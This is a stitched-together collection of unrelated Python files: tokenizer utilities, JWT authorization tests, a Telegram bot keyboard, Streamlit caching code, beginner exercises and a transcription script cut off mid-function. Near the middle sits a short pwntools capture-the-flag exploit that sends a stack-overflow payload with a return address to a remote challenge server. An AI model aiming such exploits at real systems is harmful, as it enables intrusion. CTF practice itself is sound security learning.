            assert string[start_offset] in '"\'', tokval
            if tokval[start_offset] == tokval[start_offset+1] and len(string[start_offset:]) > 2:
                start_offset += 3
                end_offset += 3
            else:
                start_offset += 1
                end_offset += 1

        return (start_offset, end_offset)

    try:
        name_mark = False
        for toknum, tokval, start, end, line in tokenize_string(s):
            if toknum == NAME and include_quotes and start <= (row, col) < end:
                # Something like r'... that is unclosed will tokenize as NAME,
                # ERRORTOKEN. Mark here to check if the next token is
                # ERRORTOKEN.
                name_mark = tokval
                continue
            if toknum == ERRORTOKEN and tokval[0] in '"\'':
                if name_mark:
                    # (row, col) is on the name before the unclosed error
                    # string.
                    # Check if the previous token + string is a valid string
                    # prefix.

                    # name_mark not False implies include_quotes == True
                    try:
                        ast.literal_eval(name_mark + '""')
                    except SyntaxError:
                        return False
                    else:
                        return True
                # There is an unclosed string. We haven't gotten to the
                # position yet, so it must be inside this string
                start_offset = 0 if include_quotes else 1
                return (start[0], start[1] + start_offset) <= (row, col)
            elif name_mark:
                return False
            if start <= (row, col) < end:
                if not toknum == STRING:
                    return False

                start_offset, end_offset = _offsets(tokval)
                return (start[0], start[1] + start_offset) <= (row, col) < (end[0], end[1] - end_offset)

    except TokenError as e:
        # Uncompleted docstring or braces. If it's the former, then (row, col)
        # must be after the start of the unclosed string, or else we would
        # have seen a prior token with start <= (row, col) <= end.
        if 'string' in e.args[0] and (row, col) >= e.args[1]:
            start = e.args[1]
            tokval = s.splitlines()[start[0]-1][start[1]:]
            start_offset, _ = _offsets(tokval)
            return (start[0], start[1] + start_offset) <= (row, col)
        return False
    except IndentationError:
        return False

    return False

def parso_inside_string(s, row, col):
    from parso.utils import parse_version_string
    from parso.python.tokenize import tokenize, INDENT, STRING, ERRORTOKEN

    start = end = (0, 0)
    toknum = prev_tok = -1
    for token in tokenize(s, parse_version_string()):
        start = end
        prev_tok = toknum
        toknum, tokval, end, prefix = token
        if start <= (row, col) < end:
            if prev_tok == INDENT:
                continue
            break

    return prev_tok in [STRING, ERRORTOKEN]

# try:
#     import parso
#     inside_string = parso_inside_string
#     del parso
# except ImportError:
#     pass

# From https://docs.python.org/3/library/itertools.html
def pairwise(iterable):
    "s -> (s0,s1), (s1,s2), (s2, s3), ..."
    a, b = tee(iterable)
    next(b, None)
    return zip(a, b)

def nwise(iterable, n, fill=False):
    """
    n-way rolling window over iterable.

    Generalization of pairwise().

    If fill=True then the window will start like (None, ..., None, s0), (None,
    ..., None, s0, s1), .... Otherwise it will start with (s0, s1, ..., sn).
    """
    iters = tee(iterable, n)
    if fill:
        iters = [chain([None]*i, iter) for i, iter in enumerate(reversed(iters))]
        iters.reverse()
    else:
        for i, iter in enumerate(iters):
            for j in range(i):
                next(iter, None)
    return zip(*iters)

def is_multiline_python(text):
    """
    Returns True of text should be considered multiline.

    text is considered multiline if typing Enter at the end of text should add
    a newline. Returns False if the text is a single line that can be
    executed. Also returns False in some situations when text has a syntax
    error that cannot be resolved after an additional line, such as EOL in a
    non-docstring literal or an indentation error.

    """
    from tokenize import ERRORTOKEN

    # Dedent the text, otherwise, the last token will be DEDENT
    text = text.lstrip()

    try:
        error = False
        for (prevprev, prev, tok) in nwise(tokenize_string(text), 3, fill=True):
            toknum, tokval, start, end, line = tok
            # The first token is encoding
            if prev and prev.type == ENCODING and tok.exact_type == AT:
                # Decorator
                return True
            if toknum == ERRORTOKEN:
                # Error means unclosed (non doc-) string or backslash
                # continuation. We want a backslash continuation to be
                # multiline, which is caught below. Every other case shouldn't
                # be multiline.
                error = True
            if toknum in {ENDMARKER, DEDENT}:
                # In 3.6.7 and 3.7.1 the last token before ENDMARKER is always
                # NEWLINE. We want to handle both cases here.
                if prev.type == NEWLINE:
                    if prevprev.type == ERRORTOKEN and prevprev.string == '\\':
                        return True
                else:
                    if prev.type == ERRORTOKEN and prev.string == '\\':
                        return True

    except TokenError as e:
        # Uncompleted docstring or braces
        # Multiline unless there is an uncompleted non-docstring
        if ("multi-line statement" in e.args[0]
            or tok.type != ENCODING and toknum == ERRORTOKEN and tokval == '\\'):
            return True
        return not error
    except IndentationError:
        # IndentationError only occurs if the indentation cannot possibly be correct
        return False

    # Newline means it is multiline, even if there is an unclosed string
    if '\n' in text:
        return True

    # Unclosed string with no newlines
    if error:
        return False

    return prev.exact_type == COLON or (prev.exact_type == NEWLINE and prevprev.exact_type == COLON)

# Taken from standard library textwrap module

# Changes:

# - Renamed dedent() to indentation() and made it return the indentation level
#   of the text instead of dedenting it.

# - Made dedent() function that applies dedentation to text and a margin

# Copyright (C) 1999-2001 Gregory P. Ward.
# Copyright (C) 2002, 2003 Python Software Foundation.
# Written by Greg Ward <gward@python.net>

# 1. This LICENSE AGREEMENT is between the Python Software Foundation ("PSF"), and
#    the Individual or Organization ("Licensee") accessing and otherwise using Python
#    3.6.0 software in source or binary form and its associated documentation.
#
# 2. Subject to the terms and conditions of this License Agreement, PSF hereby
#    grants Licensee a nonexclusive, royalty-free, world-wide license to reproduce,
#    analyze, test, perform and/or display publicly, prepare derivative works,
#    distribute, and otherwise use Python 3.6.0 alone or in any derivative
#    version, provided, however, that PSF's License Agreement and PSF's notice of
#    copyright, i.e., "Copyright © 2001-2017 Python Software Foundation; All Rights
#    Reserved" are retained in Python 3.6.0 alone or in any derivative version
#    prepared by Licensee.
#
# 3. In the event Licensee prepares a derivative work that is based on or
#    incorporates Python 3.6.0 or any part thereof, and wants to make the
#    derivative work available to others as provided herein, then Licensee hereby
#    agrees to include in any such work a brief summary of the changes made to Python
#    3.6.0.
#
# 4. PSF is making Python 3.6.0 available to Licensee on an "AS IS" basis.
#    PSF MAKES NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR IMPLIED.  BY WAY OF
#    EXAMPLE, BUT NOT LIMITATION, PSF MAKES NO AND DISCLAIMS ANY REPRESENTATION OR
#    WARRANTY OF MERCHANTABILITY OR FITNESS FOR ANY PARTICULAR PURPOSE OR THAT THE
#    USE OF PYTHON 3.6.0 WILL NOT INFRINGE ANY THIRD PARTY RIGHTS.
#
# 5. PSF SHALL NOT BE LIABLE TO LICENSEE OR ANY OTHER USERS OF PYTHON 3.6.0
#    FOR ANY INCIDENTAL, SPECIAL, OR CONSEQUENTIAL DAMAGES OR LOSS AS A RESULT OF
#    MODIFYING, DISTRIBUTING, OR OTHERWISE USING PYTHON 3.6.0, OR ANY DERIVATIVE
#    THEREOF, EVEN IF ADVISED OF THE POSSIBILITY THEREOF.
#
# 6. This License Agreement will automatically terminate upon a material breach of
#    its terms and conditions.
#
# 7. Nothing in this License Agreement shall be deemed to create any relationship
#    of agency, partnership, or joint venture between PSF and Licensee.  This License
#    Agreement does not grant permission to use PSF trademarks or trade name in a
#    trademark sense to endorse or promote products or services of Licensee, or any
#    third party.
#
# 8. By copying, installing or otherwise using Python 3.6.0, Licensee agrees
#    to be bound by the terms and conditions of this License Agreement.

_whitespace_only_re = re.compile('^[ \t]+$', re.MULTILINE)
_leading_whitespace_re = re.compile('(^[ \t]*)(?:[^ \t\n])', re.MULTILINE)

def indentation(text):
    """Remove any common leading whitespace from every line in `text`.

    This can be used to make triple-quoted strings line up with the left
    edge of the display, while still presenting them in the source code
    in indented form.

    Note that tabs and spaces are both treated as whitespace, but they
    are not equal: the lines "  hello" and "\\thello" are
    considered to have no common leading whitespace.  (This behaviour is
    new in Python 2.5; older versions of this module incorrectly
    expanded tabs before searching for common leading whitespace.)
    """
    # Look for the longest leading string of spaces and tabs common to
    # all lines.
    margin = None
    text = _whitespace_only_re.sub('', text)
    indents = _leading_whitespace_re.findall(text)
    for indent in indents:
        if margin is None:
            margin = indent

        # Current line more deeply indented than previous winner:
        # no change (previous winner is still on top).
        elif indent.startswith(margin):
            pass

        # Current line consistent with and no deeper than previous winner:
        # it's the new winner.
        elif margin.startswith(indent):
            margin = indent

        # Find the largest common whitespace between current line and previous
        # winner.
        else:
            for i, (x, y) in enumerate(zip(margin, indent)):
                if x != y:
                    margin = margin[:i]
                    break

    # sanity check (testing/debugging only)
    if 0 and margin:
        for line in text.split("\n"):
            assert not line or line.startswith(margin), \
                   "line = %r, margin = %r" % (line, margin)

    if margin is None:
        return ''
    return margin

def dedent(text, margin):
    if margin:
        text = re.sub(r'(?m)^' + margin, '', text)
    return text


import unittest
from unittest import mock

from werkzeug.exceptions import Unauthorized

from frontstage import app
from frontstage.common.authorisation import (
    EXPIRES_IN_MISSING_FROM_PAYLOAD,
    JWT_DATE_EXPIRED,
    JWT_DECODE_ERROR,
    NO_AUTHORIZATION_COOKIE,
    NO_ENCODED_JWT,
    jwt_authorization,
)
from frontstage.common.session import Session
from frontstage.exceptions.exceptions import JWTTimeoutError, JWTValidationError

valid_jwt = (
    "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJwYXJ0eV9pZCI6InRlc3QiLCJyb2xlIjoicmVzcG9uZGVudCIsInVucmVhZF9"
    "tZXNzYWdlX2NvdW50Ijp7InZhbHVlIjoxLCJyZWZyZXNoX2luIjozMjUwMzcyNTY4MTAwMH0sImV4cGlyZXNfaW4iOjMyNTAzNzI"
    "1NjgxMDAwfQ.8lZiYTzjFuPb6sgYJne88Qua8ozAjnSrZRgoXN6qKic"
)

in_valid_jwt = (
    "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJwYXJ0eV9pZCI6InRlc3QiLCJyb2xlIjoicmVzcG9uZGVudCIsInVucmVhZF9"
    "tZXNzYWdlX2NvdW50Ijp7InZhbHVlIjoxLCJyZWZyZXNoX2luIjozMjUwMzcyNTY4MTAwMH0sImV4cGlyZXNfaW4iOjMyNTAzNzI"
    "1NjgxMDAwfQ"
)

expired_jwt = (
    "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJwYXJ0eV9pZCI6InRlc3QiLCJyb2xlIjoicmVzcG9uZGVudCIsInVucmVhZF"
    "9tZXNzYWdlX2NvdW50Ijp7InZhbHVlIjoxLCJyZWZyZXNoX2luIjoxNTg3OTU1ODAzLjk4ODM4M30sImV4cGlyZXNfaW4iOjE1O"
    "Dc5NTkxMDMuOTI1MDg4fQ.nntdPMRSQFjCAax0J0Iez1l5BbtqE8x617yWcN_zhKY"
)

no_expires_in_jwt = (
    "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJwYXJ0eV9pZCI6InRlc3QiLCJyb2xlIjoicmVzcG9uZGVudCIsInVucmVh"
    "ZF9tZXNzYWdlX2NvdW50Ijp7InZhbHVlIjoxLCJyZWZyZXNoX2luIjoxNjg3OTU1ODAzLjk4ODM4M319.JHUjhH4D00vIFCrC"
    "YCyUMoxQCx0cTIPdsUVglKdNajk"
)

class TestJWTAuthorization(unittest.TestCase):
    def setUp(self):
        self.app = app.test_client()
        self.party_id = "test"
        self.session = Session.from_party_id(self.party_id)

    @staticmethod
    def decorator_test(request):
        @jwt_authorization(request)
        def test_function(_):
            pass

        test_function()

    def test_jwt_authorization_success(self):
        # Given a valid JWT and authorization cookie
        self._update_session_token()
        request = mock.MagicMock(cookies={"authorization": self.session.session_key})

        # When the jwt_authorization decorator is exercised
        # Then the function runs without exceptions and the test is considered as passed
        self.decorator_test(request)

    def test_jwt_authorization_no_cookie(self):
        # Given the respondent doesnt have an authorization cookie
        request = mock.MagicMock(cookies={})

        # When the jwt_authorization decorator is exercised
        # Then the function raises an Unauthorized, NO_AUTHORIZATION_COOKIE exception
        with self.assertRaises(Unauthorized) as e:
            self.decorator_test(request)
        self.assertEqual(e.exception.description, NO_AUTHORIZATION_COOKIE)

    def test_jwt_authorization_no_encoded_jwt_for_session(self):
        # Given the respondent has an authorization cookie, but the key doesn't match a session in redis
        request = mock.MagicMock(cookies={"authorization": "incorrect_session_key"})

        # When the jwt_authorization decorator is exercised
        # Then the function raises an Unauthorized, NO_ENCODED_JWT exception
        with self.assertRaises(Unauthorized) as e:
            self.decorator_test(request)
        self.assertEqual(e.exception.description, NO_ENCODED_JWT)

    def test_jwt_authorization_expired(self):
        # Given a valid JWT and authorization cookie, but the token has expired
        self._update_session_token(expired_jwt)
        request = mock.MagicMock(cookies={"authorization": self.session.session_key})

        # When the jwt_authorization decorator is exercised
        # Then the function raises an Unauthorized, JWT_DATE_EXPIRED exception
        with self.assertRaises(JWTTimeoutError) as e:
            self.decorator_test(request)
        self.assertEqual(e.exception.message, f"{JWT_DATE_EXPIRED} {self.party_id}")

    def test_jwt_authorization_no_expiry_in_payload(self):
        # Given a valid authorization cookie, but invalid JWT where the expiry_in key is missing from the payload
        self._update_session_token(no_expires_in_jwt)
        request = mock.MagicMock(cookies={"authorization": self.session.session_key})

        # When the jwt_authorization decorator is exercised
        # Then the function raises an JWTValidationError exception
        with self.assertRaises(JWTValidationError) as e:
            self.decorator_test(request)
        self.assertEqual(e.exception.message, f"{EXPIRES_IN_MISSING_FROM_PAYLOAD} {self.party_id}")

    def test_jwt_authorization_decode_failure(self):
        # Given a valid authorization cookie, but invalid JWT where the decode step fails
        self._update_session_token(in_valid_jwt)
        request = mock.MagicMock(cookies={"authorization": self.session.session_key})

        # When the jwt_authorization decorator is exercised
        # Then the function raises an JWTValidationError exception
        with self.assertRaises(JWTValidationError) as e:
            self.decorator_test(request)
        self.assertEqual(e.exception.message, f"{JWT_DECODE_ERROR} {self.session.session_key}")

    def _update_session_token(self, token=valid_jwt):
        self.session.encoded_jwt_token = token
        self.session.save()


import aiogram.types

from Infotron.Const import *

# Creating reply keyboard buttons
button_finansy = aiogram.types.KeyboardButton(text="Фінанси")
button_qat = aiogram.types.KeyboardButton(text="Питання щодо навчання")
button_admissions = aiogram.types.KeyboardButton(text='Питання щодо вступу')
button_mfaq = aiogram.types.KeyboardButton(text='Найчастіші запитання')
button_settlement = aiogram.types.KeyboardButton(text='Електроне поселення в гуртожиток')
button_support = aiogram.types.KeyboardButton(cfg['button_new_question'])
button_back = aiogram.types.KeyboardButton("Змінити факультет")
# Creating a reply keyboard markup and adding buttons to it
keyboard_menu = aiogram.types.ReplyKeyboardMarkup(resize_keyboard=True)
keyboard_menu.add(button_mfaq).row(button_qat).add(button_finansy, button_admissions).add(button_support, button_back)
# Creating a reply keyboard markup for faculty selection
menu_faculty = aiogram.types.ReplyKeyboardMarkup()
# Adding buttons for each faculty from the database
cafe = aiogram.types.KeyboardButton(text='Кафе')
# Отримати список імен з таблиці question_answer_faculty
cur.execute("SELECT name FROM question_faculty")
menu_faculty = aiogram.types.ReplyKeyboardMarkup(resize_keyboard=True)
for name in cur.fetchall():
    button = aiogram.types.KeyboardButton(text=str(name[0]))
    menu_faculty.add(cafe).add(button)

# Оновлення функції create_inline_keyboard
def create_inline_keyboard(text, f_id):
    """Створення внутрішнього клавішного макету для вибору запитань"""

    menu_question = aiogram.types.InlineKeyboardMarkup()
    # Додавання кнопок для кожного запитання з вказаним типом і факультетом з бази даних
    cur.execute("SELECT text FROM question_question WHERE type = %s and faculty_id = %s", (text, f_id))
    for reply in cur.fetchall():
        button = aiogram.types.InlineKeyboardButton(text=reply[0], callback_data=reply[0])
        menu_question.add(button)
    return menu_question

def keybord_kafe():
    menu_cafe = aiogram.types.ReplyKeyboardMarkup(resize_keyboard=True)
    main_menu = aiogram.types.KeyboardButton("Головного меню")
    cur.execute("SELECT type FROM cafe_student_type_product")
    for type in cur.fetchall():
        button = aiogram.types.KeyboardButton(text=str(type[0]))
        menu_cafe.add(button).add(main_menu)
    return menu_cafe

# Оновлення функції create_inline_keyboard_answer
def create_inline_keyboard_answer(text, f_id):
    """Створення внутрішнього клавішного макету для вибору запитань"""

    keyboard = aiogram.types.InlineKeyboardMarkup()
    # Додавання кнопок для кожного запитання з вказаним типом і факультетом з бази даних
    cur.execute("SELECT text FROM question_question WHERE type = %s and faculty_id = %s", (text, f_id))
    for reply in cur.fetchall():
        button = aiogram.types.InlineKeyboardButton(text=reply[0], callback_data=reply[0])
        keyboard.add(button)
    return keyboard

# Оновлення функції create_inline_keyboard_cafe
def create_inline_keyboard_cafe(text):
    """Створення внутрішнього клавішного макету для вибору запитань"""

    keyboard = aiogram.types.InlineKeyboardMarkup()
    cur.execute("SELECT name, cost FROM cafe_student_product WHERE type_product_id = %s", (text,))
    for name, cost in cur.fetchall():
        button = aiogram.types.InlineKeyboardButton(text=f'{name} = {cost}грн.',
                                                    callback_data=f"product:{name}:{cost}")
        keyboard.add(button)
    return keyboard

keyboard_order = aiogram.types.InlineKeyboardMarkup()
basket = aiogram.types.InlineKeyboardButton(text='Мій кошик', callback_data='my_basket')
confirm_order = aiogram.types.InlineKeyboardButton(text='Підтвердити замовлення', callback_data='confirm_order')
keyboard_order.add(basket, confirm_order)


#!/usr/bin/env python2
from pwn import *

context.log_level='debug'
f=ELF('./chal')
#p=process('./chal')
p=remote('134.209.237.231', 4271)

sz=0x960-0x8e0
payload = '\x00'*(sz+8)
payload+= p64(0x00000000004011ba) # chain
p.recvline()
p.sendline(payload)

p.interactive()
p.close()


#slice can get several values from list
#slice has 2 indexes mainly
#a[start:end] # items start through end-1
#a[start:]    # items start through the rest of the array
#a[:end]      # items from the beginning through end-1
#a[:]         # a copy of the whole array

animals = ['cat', 'rat', 'bat', 'dog', 'fox']

#a[start:end:step] # start through not past end, by step
#by default step is 1
slice = animals[0:3]
print(slice)

#a[-1]    # last item in the array
#a[-2:]   # last two items in the array
#a[:-2]   # everything except the last two items
#what does 'stop' means
#stop: the ending index of the slice, it does not include the element at this index,

#len()  will return length of list too, like string
"""
Note to self:
if you ask for a[:-2] and
a only contains one element,
you get an empty list instead of
an error. Sometimes you would prefer
the error, so you have to be aware that
this may happen.
"""


import hashlib
import inspect
import threading
import types
from typing import List, Tuple, Optional, Any, Union

from streamlit import util
from streamlit.logger import get_logger
from .cache_errors import (
    UnhashableParamError,
    CacheType,
    UnhashableTypeError,
)
from .hashing import update_hash

_LOGGER = get_logger(__name__)

def make_value_key(
    cache_type: CacheType, func: types.FunctionType, *args, **kwargs
) -> str:
    """Create the key for a value within a cache.

    This key is generated from the function's arguments. All arguments
    will be hashed, except for those named with a leading "_".

    Raises
    ------
    StreamlitAPIException
        Raised (with a nicely-formatted explanation message) if we encounter
        an un-hashable arg.
    """

    # Create a (name, value) list of all *args and **kwargs passed to the
    # function.
    arg_pairs: List[Tuple[Optional[str], Any]] = []
    for arg_idx in range(len(args)):
        arg_name = _get_positional_arg_name(func, arg_idx)
        arg_pairs.append((arg_name, args[arg_idx]))

    for kw_name, kw_val in kwargs.items():
        # **kwargs ordering is preserved, per PEP 468
        # https://www.python.org/dev/peps/pep-0468/, so this iteration is
        # deterministic.
        arg_pairs.append((kw_name, kw_val))

    # Create the hash from each arg value, except for those args whose name
    # starts with "_". (Underscore-prefixed args are deliberately excluded from
    # hashing.)
    args_hasher = hashlib.new("md5")
    for arg_name, arg_value in arg_pairs:
        if arg_name is not None and arg_name.startswith("_"):
            _LOGGER.debug("Not hashing %s because it starts with _", arg_name)
            continue

        try:
            update_hash(
                (arg_name, arg_value),
                hasher=args_hasher,
                cache_type=cache_type,
            )
        except UnhashableTypeError as exc:
            raise UnhashableParamError(cache_type, func, arg_name, arg_value, exc)

    value_key = args_hasher.hexdigest()
    _LOGGER.debug("Cache key: %s", value_key)

    return value_key

def make_function_key(cache_type: CacheType, func: types.FunctionType) -> str:
    """Create the unique key for a function's cache.

    A naive implementation would involve simply creating the cache object
    right in the wrapper, which in a normal Python script would be executed
    only once. But in Streamlit, we reload all modules related to a user's
    app when the app is re-run, which means that - among other things - all
    function decorators in the app will be re-run, and so any decorator-local
    objects will be recreated.

    Furthermore, our caches can be destroyed and recreated (in response to
    cache clearing, for example), which means that retrieving the function's
    cache in the decorator (so that the wrapped function can save a lookup)
    is incorrect: the cache itself may be recreated between
    decorator-evaluation time and decorated-function-execution time. So we
    must retrieve the cache object *and* perform the cached-value lookup
    inside the decorated function.
    """
    func_hasher = hashlib.new("md5")

    # Include the function's __module__ and __qualname__ strings in the hash.
    # This means that two identical functions in different modules
    # will not share a hash; it also means that two identical *nested*
    # functions in the same module will not share a hash.
    update_hash(
        (func.__module__, func.__qualname__),
        hasher=func_hasher,
        cache_type=cache_type,
    )

    # Include the function's source code in its hash. If the source code can't
    # be retrieved, fall back to the function's bytecode instead.
    source_code: Union[str, types.CodeType]
    try:
        source_code = inspect.getsource(func)
    except OSError as e:
        _LOGGER.debug(
            "Failed to retrieve function's source code when building its key; falling back to bytecode. err={0}",
            e,
        )
        source_code = func.__code__

    update_hash(
        source_code,
        hasher=func_hasher,
        cache_type=cache_type,
    )

    cache_key = func_hasher.hexdigest()
    return cache_key

def _get_positional_arg_name(func: types.FunctionType, arg_index: int) -> Optional[str]:
    """Return the name of a function's positional argument.

    If arg_index is out of range, or refers to a parameter that is not a
    named positional argument (e.g. an *args, **kwargs, or keyword-only param),
    return None instead.
    """
    if arg_index < 0:
        return None

    params: List[inspect.Parameter] = list(inspect.signature(func).parameters.values())
    if arg_index >= len(params):
        return None

    if params[arg_index].kind in (
        inspect.Parameter.POSITIONAL_OR_KEYWORD,
        inspect.Parameter.POSITIONAL_ONLY,
    ):
        return params[arg_index].name

    return None

class ThreadLocalCacheInfo(threading.local):
    """A thread-local counter that's incremented when we enter a cache function
    and decremented when we exit.
    """

    def __init__(self):
        self.cached_func_stack: List[types.FunctionType] = []
        self.suppress_st_function_warning = 0

    def __repr__(self) -> str:
        return util.repr_(self)


from django.db import models
from enumchoicefield import EnumChoiceField, ChoiceEnum

from .utils import CoreModel, TextFieldWithInputWidget

class StorageLocationCategory(ChoiceEnum):
    master = "master"
    backup = "backup"
    copy = "copy"

class DataLocation(CoreModel):
    """
    Represent a data location.
    """

    class Meta:
        app_label = "core"
        get_latest_by = "added"
        ordering = ["added"]

    backend = models.ForeignKey(
        "core.StorageResource",
        verbose_name="Storage back-end",
        on_delete=models.CASCADE,
        help_text="Select the storage or application platform that holds data.",
    )

    category = EnumChoiceField(
        StorageLocationCategory,
        default=StorageLocationCategory.master,
        blank=False,
        null=False,
        verbose_name="Nature of data copy.",
        help_text="Is this the master copy, a working copy or a backup?.",
    )

    dataset = models.ForeignKey(
        "core.Dataset", related_name="data_locations", on_delete=models.CASCADE
    )

    datatypes = models.ManyToManyField(
        "core.DataType",
        verbose_name="Stored datatypes",
        blank=True,
        related_name="storage_locations",
        help_text="The scope of this storage. Leave empty if all data types are stored in a single location.",
    )

    data_declarations = models.ManyToManyField(
        "core.DataDeclaration",
        blank=True,
        related_name="data_locations",
        verbose_name="Stored data declarations",
        help_text="The scope of this storage. Leave empty if all data declarations are stored in a single location.",
    )

    location_description = TextFieldWithInputWidget(
        blank=True,
        null=True,
        verbose_name="Location of the data",
        help_text="E.g. Laptop 1, server folder path or application URL endpoint.",
    )

    def __str__(self):
        return f"{self.category} - {self.backend.name} - {self.location_description}"


import random
print('Welcome to NINE lives')

def isletterin(letter,lisp,lisp2):
    l3=[]
    for i in range(len(lisp)):
        if lisp[i]== letter:
            l3.append(i)
    if len(l3)>0:
        for i in l3:
            lisp2[i]=letter
        return 1
randomword=['pizza','roman','healthy','cart','difficult','margerine']
rchoice=random.choice(randomword)
rchoicelist =list(rchoice)
guesslist= list(len(rchoicelist)*'*')
count=0

difficulty = input('Select your difficulty level \n1. Easy \n2. Medium \n3. Hard\n')
di = int(difficulty)
if di ==2:
    lives= 6
elif di == 3:
    lives = 3
else:
    lives = 9
while 1:
    print(guesslist)
    print('you have ' + str(lives) + ' lives left')
    if lives != 0:
        if '*' in guesslist:
            usrguess = input('Guess the letter \n')
            k=isletterin(usrguess,rchoicelist,guesslist)
            if k != 1:
                lives=lives-1
        else:
            print ('you won with '+ str(lives) +' lives left')
            break
    else:
        print('you lost, the word was '+ rchoice)
        for i in guesslist:
            if i == '*':
                count+=1
        print('you guessed '+str(len(guesslist)-count)+' letters right')

        break


#!/bin/python3

import math
import os
import random
import re
import sys

def hourglassSum(arr):
    sum_indexes_list = []
    item = 0
    while item<4:
        item_index = 0
        while item_index<4:
            sum_indexes = arr[item][item_index] + arr[item][item_index+1] +arr[item][item_index+2]
            sum_indexes = sum_indexes + arr[item+1][item_index+1]
            sum_indexes = sum_indexes + arr[item+2][item_index] + arr[item+2][item_index+1] +arr[item+2][item_index+2]
            sum_indexes_list.append(sum_indexes)
            item_index = item_index +1
        item=item+1
    return find_max(sum_indexes_list)

def find_max(arr):
    max_item = arr[0]
    for item in arr:
        if item > max_item:
            max_item = item
    return max_item

if __name__ == '__main__':
    fptr = open(os.environ['OUTPUT_PATH'], 'w')

    arr = []

    for _ in range(6):
        arr.append(list(map(int, input().rstrip().split())))

    result = hourglassSum(arr)

    fptr.write(str(result) + '\n')

    fptr.close()


#similar to hash tables, we have a key value pair where we have a word and an associated definition
programming_dictionary = {
    "bug": "An error in a program that prevents the program from running as expected",
    "Function": "A piece of code that you can easily call over and over again."
}
print("bug" in programming_dictionary)

print(programming_dictionary["bug"])

# make sure the key is in the correct data type and spelled correctly
number_dictionary = {
    1: "hello world",
    2: "goodbye world"
}
print(number_dictionary[1])

# adding an item to a dictionary
programming_dictionary["loop"] = "The action of doing something over and over again"
print(programming_dictionary)
# programming_dictionary = {}
# print(programming_dictionary)

programming_dictionary["bug"] = "A moth in your computer"
print(programming_dictionary["bug"])

for key in programming_dictionary:
    print(key)
    print(programming_dictionary[key])

# Nesting
# dictionary in dictionary
nested_dic = {1: ["hello", "World"], 2: "hello world"}
travel_log = {
    "France": {"Cities_visited": ["Paris", "Lille", "Dijon"], "total_visits": 12},
    "Germany": ["Berlin", "Hamburg"]
}
# dictionary in list
travel_log = [
    {
        "country": "France",
        "cities_visited": ["Paris", "Lille", "Dijon"],
        "total_visits": 12
    },
    {
        "country": "Germany",
        "cities_visited": ["Berlin", "Hamburg", "Munich"],
        "total_visits": 6
    }
]

# Exercise 9-1
# Write a program that converts their scores to grades. By the end of your program, you should have a new dictionary called student_grades that should contain student names for keys and their grades for values. The final version of the student_grades dictionary will be checked.
#
# DO NOT modify lines 1-7 to change the existing student_scores dictionary.
#
# DO NOT write any print statements.
#
# This is the scoring criteria:
#
# Scores 91 - 100: Grade = "Outstanding"
#
# Scores 81 - 90: Grade = "Exceeds Expectations"
#
# Scores 71 - 80: Grade = "Acceptable"
#
# Scores 70 or lower: Grade = "Fail"

student_scores = {
    "Harry": 81,
    "Ron": 78,
    "Hermione": 99,
    "Draco": 74,
    "Neville": 62,
}
# ðŸš¨ Don't change the code above ðŸ‘†

#TODO-1: Create an empty dictionary called student_grades.
student_grades = {}

#TODO-2: Write your code below to add the grades to student_grades.ðŸ‘‡
for student in student_scores:
    if student_scores[student] <= 70:
        student_grades[student] = "Fail"
    elif student_scores[student] <= 80:
        student_grades[student] = "Acceptable"
    elif student_scores[student] <= 90:
        student_grades[student] = "Exceeds Expectations"
    elif student_scores[student] <= 100:
        student_grades[student] = "Outstanding"

# ðŸš¨ Don't change the code below ðŸ‘‡
print(student_grades)

# Exercise 9-2
# You are going to write a program that adds to a travel_log. You can see a travel_log which is a List that contains 2 Dictionaries.
travel_log = [
    {
        "country": "France",
        "visits": 12,
        "cities": ["Paris", "Lille", "Dijon"]
    },
    {
        "country": "Germany",
        "visits": 5,
        "cities": ["Berlin", "Hamburg", "Stuttgart"]
    },
]
#ðŸš¨ Do NOT change the code above

#TODO: Write the function that will allow new countries
#to be added to the travel_log. ðŸ‘‡
def add_new_country(country, visits, cities):
    new_country = {}
    new_country["country"] = country
    new_country["visits"] = visits
    new_country["cities"] = cities
    travel_log.append(new_country)

#ðŸš¨ Do not change the code below
add_new_country("Russia", 2, ["Moscow", "Saint Petersburg"])
print(travel_log)


import sys
from antigravity import geohash
# Geohash: encodes a geographic location into a short string of letters and digits.
# https://docs.quadrant.io/quadrant-geohash-algorithm
# 37.421542 -122.085589 2005-05-26-10458.68

def test_geohash():
    if (len(sys.argv) != 4):
        return(print("Wrong Usage!! [geohashing.py <latitude> <longitude> <date>]"))
    try:
        lat = float(sys.argv[1])
    except:
        return print("latitude<float>")
    try:
        long = float(sys.argv[2])
    except:
        return print("longitude<float>")
    try:
        date = sys.argv[3].encode('utf-8')
    except:
        return print("datedow<string>")
    geohash(lat, long, date)

if __name__ == '__main__':
    test_geohash()


class Solution:
    def Solve(self,A):
        n=len(A)
        A.sort()
        min_xor = float('inf')
        ans=[]
        for i in range(n-1):
            if A[i] ^ A[i+1] < min_xor:
                min_xor = A[i] ^ A[i+1]
                ans.append((A[i],A[i+1]))
        return min_xor,ans

if __name__ == '__main__':
    A = [0, 2, 5, 7]
    B = Solution()
    print(B.Solve(A))


import re
import youtube_dl
import streamlit as st
import requests
from pydub import AudioSegment
import time

# CONSTANTS and SETTINGS
ydl_opts = {
   'format': 'bestaudio/best',
   'postprocessors': [{
       'key': 'FFmpegExtractAudio',
       'preferredcodec': 'mp3',
       'preferredquality': '192',
   }],
   'ffmpeg-location': './',
   'outtmpl': "./%(id)s.%(ext)s",
   # 'nocheckcertificate': True
}

transcript_endpoint = "https://api.assemblyai.com/v2/transcript"
upload_endpoint = 'https://api.assemblyai.com/v2/upload'

CHUNK_SIZE = 5242880

def get_vid(link):
    _id = link.strip()
    with youtube_dl.YoutubeDL(ydl_opts) as ydl:
        return ydl.extract_info(_id)

def read_file(filename):
    with open(filename, 'rb') as _file:
        while True:
            data = _file.read(CHUNK_SIZE)
            if not data:
                break
            yield data

# a function to upload a given file to AssemblyAI's servers
def upload_file(file, auth):
    headers_auth_only = {'authorization': auth}
    upload_response = requests.post(
        upload_endpoint,
        headers=headers_auth_only,
        data=read_file(file)
	)
    # print('Uploaded to', upload_response.json()['upload_url'])
    return upload_response.json()['upload_url']

# a function that takes a youtube link, downloads the video, uploads it to AssemblyAI's servers and transcribes it
@st.cache
def transcribe_from_link(link, auth):
